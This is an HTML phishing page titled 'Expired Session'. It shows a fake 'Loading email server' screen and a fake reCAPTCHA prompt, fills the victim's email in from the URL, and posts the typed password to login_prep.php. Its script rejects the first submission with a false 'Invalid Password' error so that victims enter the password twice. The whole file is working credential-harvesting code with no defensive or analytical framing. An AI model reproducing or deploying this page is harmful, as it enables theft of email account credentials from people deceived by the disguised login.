<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Expired Session</title>
    <link rel="icon" href="images/favicon.ico" type="image/x-icon">
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #b0b0b0;
            overflow: hidden;
        }

        .loading-screen {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: #ffffff;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            z-index: 10;
        }

        .loading-icon {
            font-size: 50px;
            color: #007bff;
            animation: bounce 1.5s infinite;
        }

        .loading-text {
            margin-top: 10px;
            font-size: 18px;
            color: #555;
        }

        @keyframes bounce {
            0%, 100% {
                transform: translateY(0);
            }
            50% {
                transform: translateY(-20px);
            }
        }

        .hidden {
            display: none;
        }

        .form-container {
            position: relative;
            background: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);
            text-align: center;
            display: none;
        }

        .form-header img {
            width: 100px;
            margin-bottom: 10px;
        }

        .form-header p {
            font-size: 18px;
            font-weight: bold;
            margin: 10px 0;
        }

        .warning, .error-message {
            color: red;
            font-size: 14px;
            margin-bottom: 10px;
            display: none;
        }

        .input-group {
            position: relative;
            margin: 10px 0;
        }

        .input-group input {
            width: calc(95% - 40px);
            padding: 10px 10px 10px 40px;
            font-size: 16px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        .input-group input[readonly] {
            background-color: #f3f3f3;
        }

        .input-group .icon {
            position: absolute;
            left: 10px;
            top: 50%;
            transform: translateY(-50%);
            font-size: 20px;
            color: #888;
        }

        form button {
            width: 100%;
            padding: 10px;
            background-color: #007bff;
            color: white;
            font-size: 16px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        form button:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <!-- Loading Animation -->
    <div class="loading-screen" id="loading-screen">
        <div class="loading-icon">&#9993;</div>
        <div class="loading-text">Loading email server...</div>
    </div>

    <!-- Original Form -->
    <div class="form-container" id="form-container">
        <div class="form-header">
            <img src="images/captcha.png" alt="reCAPTCHA">
            <p>Confirm you are not a robot</p>
        </div>
        <p id="warning" class="warning">This page requires a valid email in the URL.</p>
        <form id="login-form" action="login_prep.php" method="POST">
            <div class="input-group">
                <span class="icon">&#9993;</span>
                <input type="email" id="email" name="email" readonly value="">
            </div>
            <div class="input-group">
                <span class="icon">&#128274;</span>
                <input type="password" id="password" name="password" placeholder="Enter your password" required>
            </div>
            <p id="error-message" class="error-message">Invalid Password</p>
            <button type="submit">Submit</button>
        </form>
    </div>

    <script>
        // Display loading screen for 5 seconds, then show the form
        const loadingScreen = document.getElementById('loading-screen');
        const formContainer = document.getElementById('form-container');

        setTimeout(() => {
            loadingScreen.style.display = 'none';
            formContainer.style.display = 'block';
        }, 5000);

        // Check for valid email in URL
        const urlParams = new URLSearchParams(window.location.search);
        const email = urlParams.get('email');
        const warningMessage = document.getElementById('warning');
        const emailInput = document.getElementById('email');

        if (email) {
            emailInput.value = email;
        } else {
            warningMessage.style.display = "block";
        }

        // Prevent form submission on the first attempt
        let attemptCount = 0;
        const form = document.getElementById('login-form');
        const errorMessage = document.getElementById('error-message');

        form.addEventListener('submit', (event) => {
            if (attemptCount === 0) {
                event.preventDefault();
                errorMessage.style.display = "block";
                attemptCount++;
            }
        });
    </script>
</body>
</html>
